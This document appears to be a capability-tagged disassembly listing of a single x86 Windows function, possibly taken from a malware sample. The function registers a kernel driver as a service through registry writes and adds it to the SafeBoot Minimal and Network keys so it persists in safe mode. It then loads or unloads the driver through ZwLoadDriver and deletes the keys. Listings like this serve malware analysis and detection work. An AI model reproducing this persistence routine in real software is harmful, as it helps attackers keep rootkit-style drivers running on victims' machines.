Function at 0x422000
Capabilities:
Delete registry key
Manipulate safe mode programs
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x428
push ebx
push esi
push edi
xor bl, bl
push str.ntdll.dll
mov byte [esp + 0x11], bl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x422323
cmp byte [esp + 0x440], 1
jne 0x422033
push str.ZwLoadDriver
jmp 0x422038
push str.ZwUnloadDriver
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [esp + 0x18], eax
je 0x422323
mov esi, dword [esp + 0x43c]
mov eax, dword [esp + 0x438]
mov edi, dword [sym.imp.MSVCRT.dll__snwprintf]
push esi
push eax
push str.___s_s.sys
lea ecx, [esp + 0x238]
push 0x208
push ecx
call edi
add esp, 0x14
lea edx, [esp + 0x24]
push esi
push str.SystemCurrentControlSetServices_s
push 0x208
push edx
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
add esp, 0x10
lea eax, [esp + 0x10]
lea ecx, [esp + 0x24]
push eax
push ecx
push 0x80000002
call ebx
test eax, eax
jne 0x422315
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push eax
mov eax, dword [esp + 0x24]
push str.Type
push eax
mov dword [esp + 0x30], 1
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push 0
push str.ErrorControl
push edx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.Start
push ecx
call ebp
lea edx, [esp + 0x230]
push edx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
mov ecx, dword [esp + 0x14]
shl eax, 1
push eax
lea eax, [esp + 0x234]
push eax
push 1
push 0
push str.ImagePath
push ecx
call ebp
mov edx, dword [esp + 0x14]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebp
cmp byte [esp + 0x448], 1
jne 0x4221b8
push esi
push str.SystemCurrentControlSetControlSafeBootMinimal_s.sys
lea eax, [esp + 0x30]
push 0x208
push eax
mov byte [esp + 0x22], 0
call edi
add esp, 0x10
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
push edx
push 0x80000002
call ebx
test eax, eax
jne 0x42217d
mov eax, dword [esp + 0x14]
mov byte [esp + 0x12], 1
push eax
call ebp
push esi
push str.SystemCurrentControlSetControlSafeBootNetwork_s.sys
lea ecx, [esp + 0x30]
push 0x208
push ecx
mov byte [esp + 0x23], 0
call edi
add esp, 0x10
lea edx, [esp + 0x14]
lea eax, [esp + 0x28]
push edx
push eax
push 0x80000002
call ebx
test eax, eax
jne 0x4221b8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x13], 1
push ecx
call ebp
push esi
push str.RegistryMachineSystemCurrentControlSetServices_s
lea edx, [esp + 0x30]
push 0x208
push edx
call edi
lea ecx, [esp + 0x38]
lea eax, [esp + 0x38]
push ecx
mov dword [esp + 0x38], eax
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 0x14
lea edx, [esp + 0x20]
shl eax, 1
push edx
mov word [esp + 0x26], ax
mov word [esp + 0x24], ax
call dword [esp + 0x20]
test eax, eax
jne 0x422242
cmp byte [esp + 0x444], 1
jne 0x42223d
push esi
lea eax, [esp + 0x2c]
push str.._s
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0xc
lea ecx, [esp + 0x28]
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x422242
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x11], 1
mov al, byte [esp + 0x448]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp al, 1
jne 0x4222a3
cmp byte [esp + 0x12], 1
jne 0x42227b
push esi
push str.SystemCurrentControlSetControlSafeBootMinimal_s.sys
lea edx, [esp + 0x30]
push 0x208
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x28]
push eax
push 0x80000002
call ebp
cmp byte [esp + 0x13], 1
jne 0x4222a3
push esi
push str.SystemCurrentControlSetControlSafeBootNetwork_s.sys
lea ecx, [esp + 0x30]
push 0x208
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x28]
push edx
push 0x80000002
call ebp
push esi
push str.SystemCurrentControlSetServices_sEnum
lea eax, [esp + 0x30]
push 0x208
push eax
call edi
add esp, 0x10
lea ecx, [esp + 0x28]
push ecx
push 0x80000002
call ebp
push esi
push str.SystemCurrentControlSetServices_sSecurity
lea edx, [esp + 0x30]
push 0x208
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x28]
push eax
push 0x80000002
call ebp
push esi
push str.SystemCurrentControlSetServices_s
lea ecx, [esp + 0x30]
push 0x208
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x28]
push edx
push 0x80000002
call ebp
mov al, byte [esp + 0x11]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x428
ret
mov al, byte [esp + 0xd]
pop edi
pop esi
pop ebx
add esp, 0x428
ret
pop edi
mov al, bl
pop esi
pop ebx
add esp, 0x428
ret